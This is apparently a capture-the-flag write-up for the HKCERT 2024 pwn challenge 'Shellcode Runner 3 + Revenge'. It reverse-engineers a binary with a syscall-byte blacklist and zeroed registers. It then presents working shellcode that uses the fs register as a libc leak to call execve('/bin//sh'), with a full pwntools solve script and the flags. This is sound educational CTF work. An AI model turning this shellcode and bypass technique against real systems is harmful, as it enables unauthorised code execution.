Shellcode Runner 3 + Revenge (pwn)
Your favorite series of Shellcode runners is back! This time, we're not limiting you with any sandboxes. This should be an easy challenge...right?
As the name suggests, the binary prompts us for shellcode and proceeds to run it. Let's inspect the pseudocode using Ghidra:

Note that mprotect(__s, 100, 4)
means that the shellcode is not writable and readable but only executable. So any form of self-modifying shellcode would not work here.
Let's look at the blacklist function first:
undefined8 blacklist(long param_1)
{
int local_c;
local_c = 0;
while( true ) {
if (99 < local_c) {
return 0;
}
if (*(char *)(param_1 + local_c) == '\x0f') break;
local_c = local_c + 1;
}
return 1;
}
It essentially stops our shellcode from being run if the 0f
byte is detected. This byte is present in the syscall
instruction, which means that our shellcode can no longer use syscalls. One way to go around this is by using int 0x80
which is a legacy method of invoking syscalls, but I did not use that approach. Let's further reverse the binary.
There is even more going on under the hood when we look at the assembly. Just before the jmp rdi
instruction which jumps to the shellcode, the program zeroes out all the registers to minimise our chances of getting any useful addresses:
0010142e 48 31 c0 XOR RAX ,RAX
00101431 48 31 db XOR RBX ,RBX
00101434 48 31 c9 XOR RCX ,RCX
00101437 48 31 d2 XOR RDX ,RDX
0010143a 48 31 f6 XOR RSI ,RSI
0010143d 48 31 ff XOR RDI ,RDI
00101440 4d 31 c0 XOR R8 ,R8
00101443 4d 31 c9 XOR R9 ,R9
00101446 4d 31 d2 XOR R10 ,R10
00101449 4d 31 db XOR R11 ,R11
0010144c 4d 31 e4 XOR R12 ,R12
0010144f 4d 31 ed XOR R13 ,R13
00101452 4d 31 f6 XOR R14 ,R14
00101455 4d 31 ff XOR R15 ,R15
00101458 48 31 e4 XOR RSP ,RSP
0010145b 0f 57 c0 XORPS XMM0 ,XMM0
0010145e 0f 57 c9 XORPS XMM1 ,XMM1
00101461 0f 57 d2 XORPS XMM2 ,XMM2
00101464 0f 57 db XORPS XMM3 ,XMM3
00101467 0f 57 e4 XORPS XMM4 ,XMM4
0010146a 0f 57 ed XORPS XMM5 ,XMM5
0010146d 0f 57 f6 XORPS XMM6 ,XMM6
00101470 0f 57 ff XORPS XMM7 ,XMM7
00101473 45 0f 57 XORPS XMM8 ,XMM8
c0
00101477 45 0f 57 XORPS XMM9 ,XMM9
c9
0010147b 45 0f 57 XORPS XMM10 ,XMM10
d2
0010147f 45 0f 57 XORPS XMM11 ,XMM11
db
00101483 45 0f 57 XORPS XMM12 ,XMM12
e4
00101487 45 0f 57 XORPS XMM13 ,XMM13
ed
0010148b 45 0f 57 XORPS XMM14 ,XMM14
f6
0010148f 45 0f 57 XORPS XMM15 ,XMM15
ff
00101493 48 8b 7d MOV RDI ,qword ptr [RBP + local_20 ]
e8
00101497 48 31 ed XOR RBP ,RBP
0010149a ff e7 JMP RDI
After some researching into this challenge, I found this: https://github.com/NUSGreyhats/greyctf24-challs-public/tree/main/finals/pwn/super_secure_blob_runner
It is a pwn challenge made by NUS Greyhats for the 2024 greyctf finals, and has the same ideas: Blacklisting syscall
bytes and zeroing registers. The idea behind the solution was to read the fs
register, which points to thread local storage (TLS), a region of memory adjacent to libc.
In pwndbg, I use vmmap
to view the process' memory mappings, then info reg fs_base
to see where the fs
register is pointing to.

As we can see, it is pointing to 0x7ffff7d7d740
, which is within the anon_7ffff7d7d
region which is between 0x7ffff7d7d000
and 0x7ffff7d80000
. This region comes right before libc. Hence, the fs
register essentially acts as a libc leak for us.
Below is my shellcode:
mov rsp, fs:0x300 ; move rsp to some writable region
mov rbx, fs:0x0 ; rbx = fs
; change rbx to be the address of the execve function in libc
add rbx, {libc.sym['execve'] + (0x7ffff7d80000 - 0x7ffff7d7d740)}
movabs rcx, 0x68732f2f6e69622f ; move the string /bin//sh in little endian into rcx
push rcx ; push rcx onto the stack so that rsp now points to the string
mov rdi, rsp ; move the string pointer into rdi
call rbx ; call execve.
; Note that rsi = rdx = 0 so we are doing execve("/bin//sh", 0, 0)
I first transfer the value of fs
into rbx
, then let rbx
store the address of execve
in libc. Then, I make rdi
point to the /bin//sh
string, and call rbx
.
And below is my full solve script:
from pwn import *
# fill in binary name
elf = context.binary = ELF("./chall")
# fill in libc name
libc = ELF("./libc.so.6")
# fill in ld name
ld = ELF("./ld-linux-x86-64.so.2")
if args.REMOTE:
# fill in remote address
# p = remote("c49-shellcode-runner3.hkcert24.pwnable.hk", 1337, ssl=True)
p = remote("c49b-shellcode-runner3-rev.hkcert24.pwnable.hk", 1337, ssl=True)
else:
p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})
sc = asm(f"""
mov rsp, fs:0x300
mov rbx, fs:0x0
add rbx, {libc.sym['execve'] + (0x7ffff7d80000 - 0x7ffff7d7d740)}
movabs rcx, 0x68732f2f6e69622f
push rcx
mov rdi, rsp
call rbx
""")
# pause()
p.sendlineafter(b"): ", sc)
p.interactive()
# hkcert24{y37_4n07h3r_5h3llc0d3_runn3r_bu7_w17h0u7_54ndb0x}
# hkcert24{y37_4n07h3r_5h3llc0d3_runn3r_bu7_w17h0u7_54ndb0x_4nd_r3v3n363_15_r37urn3d!}
Last updated